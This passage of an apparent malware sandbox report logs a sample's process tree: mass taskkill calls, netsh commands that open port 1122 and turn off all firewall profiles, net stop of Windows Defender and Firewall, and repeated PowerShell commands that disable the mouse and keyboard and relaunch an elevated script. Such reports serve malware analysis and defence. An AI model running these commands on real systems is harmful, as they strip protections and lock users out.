        7⤵
        Kills process with taskkill
        
        PID:4520
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "480"
        7⤵
        
        PID:4492
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "548"
        7⤵
        Kills process with taskkill
        
        PID:1580
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "556"
        7⤵
        
        PID:2484
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "640"
        7⤵
        
        PID:5320
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "680"
        7⤵
        
        PID:2524
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "808"
        7⤵
        
        PID:4628
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "812"
        7⤵
        
        PID:4484
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "824"
        7⤵
        
        PID:2660
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "940"
        7⤵
        Kills process with taskkill
        
        PID:3576
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "992"
        7⤵
        Kills process with taskkill
        
        PID:3980
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "432"
        7⤵
        
        PID:3384
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "540"
        7⤵
        Kills process with taskkill
        
        PID:3712
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1048"
        7⤵
        
        PID:3764
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1056"
        7⤵
        Kills process with taskkill
        
        PID:3932
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1116"
        7⤵
        
        PID:3500
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1124"
        7⤵
        
        PID:4068
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1212"
        7⤵
        
        PID:2668
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1244"
        7⤵
        
        PID:2084
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1288"
        7⤵
        
        PID:3848
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1352"
        7⤵
        
        PID:3884
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1368"
        7⤵
        
        PID:652
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1408"
        7⤵
        
        PID:1776
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1528"
        7⤵
        Kills process with taskkill
        
        PID:3516
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1548"
        7⤵
        
        PID:4116
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1648"
        7⤵
        
        PID:6060
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1712"
        7⤵
        Kills process with taskkill
        
        PID:2848
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1744"
        7⤵
        
        PID:2624
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1812"
        7⤵
        
        PID:5564
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1848"
        7⤵
        
        PID:2220
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1896"
        7⤵
        
        PID:3716
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1908"
        7⤵
        Kills process with taskkill
        
        PID:4012
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2016"
        7⤵
        
        PID:3632
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2032"
        7⤵
        
        PID:4924
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2072"
        7⤵
        
        PID:3224
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2148"
        7⤵
        
        PID:6116
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2244"
        7⤵
        Kills process with taskkill
        
        PID:2904
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2372"
        7⤵
        
        PID:904
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2380"
        7⤵
        Kills process with taskkill
        
        PID:3628
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2444"
        7⤵
        
        PID:4156
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2556"
        7⤵
        
        PID:4960
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2568"
        7⤵
        Kills process with taskkill
        
        PID:1272
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2576"
        7⤵
        
        PID:1640
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2584"
        7⤵
        
        PID:1832
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2608"
        7⤵
        
        PID:6024
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2648"
        7⤵
        Kills process with taskkill
        
        PID:4648
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3020"
        7⤵
        Kills process with taskkill
        
        PID:5308
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3040"
        7⤵
        
        PID:5900
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3128"
        7⤵
        Kills process with taskkill
        
        PID:5768
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3448"
        7⤵
        
        PID:4948
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3464"
        7⤵
        
        PID:956
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3864"
        7⤵
        Kills process with taskkill
        
        PID:692
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3920"
        7⤵
        
        PID:4224
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3992"
        7⤵
        
        PID:1012
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4056"
        7⤵
        
        PID:5052
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4368"
        7⤵
        
        PID:3404
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4376"
        7⤵
        
        PID:4620
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4680"
        7⤵
        Kills process with taskkill
        
        PID:5688
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5760"
        7⤵
        Kills process with taskkill
        
        PID:1376
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "6052"
        7⤵
        Kills process with taskkill
        
        PID:1472
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4836"
        7⤵
        
        PID:3368
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5060"
        7⤵
        
        PID:1644
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4800"
        7⤵
        
        PID:4552
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3532"
        7⤵
        
        PID:1556
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2840"
        7⤵
        Kills process with taskkill
        
        PID:3556
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3428"
        7⤵
        
        PID:2180
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5268"
        7⤵
        
        PID:1424
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "580"
        7⤵
        Kills process with taskkill
        
        PID:3060
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5648"
        7⤵
        
        PID:4488
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2092"
        7⤵
        
        PID:1872
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4328"
        7⤵
        
        PID:5524
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3612"
        7⤵
        Kills process with taskkill
        
        PID:4720
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1392"
        7⤵
        
        PID:2676
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3896"
        7⤵
        
        PID:3752
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3964"
        7⤵
        
        PID:748
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5300"
        7⤵
        Kills process with taskkill
        
        PID:5128
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5068"
        7⤵
        Kills process with taskkill
        
        PID:1500
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3492"
        7⤵
        Kills process with taskkill
        
        PID:716
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5556"
        7⤵
        
        PID:740
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4360"
        7⤵
        
        PID:4944
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1704"
        7⤵
        
        PID:444
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2100"
        7⤵
        
        PID:1824
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "980"
        7⤵
        Kills process with taskkill
        
        PID:3972
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4340"
        7⤵
        Kills process with taskkill
        
        PID:4684
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2400"
        7⤵
        Kills process with taskkill
        
        PID:5228
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4804"
        7⤵
        
        PID:1076
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "6100"
        7⤵
        
        PID:2984
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2292"
        7⤵
        
        PID:4408
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "3912"
        7⤵
        
        PID:1688
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "2264"
        7⤵
        
        PID:1452
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4240"
        7⤵
        
        PID:3560
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1768"
        7⤵
        
        PID:3568
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "1452"
        7⤵
        Kills process with taskkill
        
        PID:4304
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "4052"
        7⤵
        
        PID:4492
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im "5032"
        7⤵
        Kills process with taskkill
        
        PID:1580
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port 1122 TCP" dir=in action=allow protocol=TCP localport=1122
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2484
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="Port 1122 UDP" dir=in action=allow protocol=UDP localport=1122
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5328
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set currentprofile firewallpolicy blockinbound,allowoutbound
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5948
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set currentprofile state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2876
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set domainprofile state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:4828
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set privateprofile state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:1256
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set publicprofile state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:5540
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall set allprofiles state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:2700
        
        C:\Windows\system32\net.exe
        
        net stop "Windows Defender Service"
        7⤵
        
        PID:2992
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Defender Service"
        8⤵
        
        PID:4256
        
        C:\Windows\system32\net.exe
        
        net stop "Windows Firewall"
        7⤵
        
        PID:5568
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop "Windows Firewall"
        8⤵
        
        PID:5852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3224
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:4648
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:1476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2088
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:5512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:2660
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        
        PID:3976
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:4548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Drops file in System32 directory
        
        PID:1980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:4000
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:3800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:3776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Drops file in System32 directory
        
        PID:1040
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:4968
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:4452
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        
        PID:5824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:5948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:3768
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2676
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4952
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:3516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4472
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:6020
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5464
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4488
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:3444
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2992
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3784
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4920
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:344
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1568
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5836
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:5512
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3716
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3980
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1272
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3824
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5212
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:3904
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3560
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3936
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:2164
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5328
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:1256
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:900
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:700
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:720
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:5228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:3728
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2108
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Keyboard' | Disable-PnpDevice -Confirm:$false"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Start-Process PowerShell.exe -ArgumentList '-File', '.scripts\make_file.ps1' -Verb RunAs"
        7⤵
        
        PID:5496
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -File .scripts\make_file.ps1
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        PowerShell.exe -Command "Get-PnpDevice -Class 'Mouse' | Disable-PnpDevice -Confirm:$false"
        7⤵
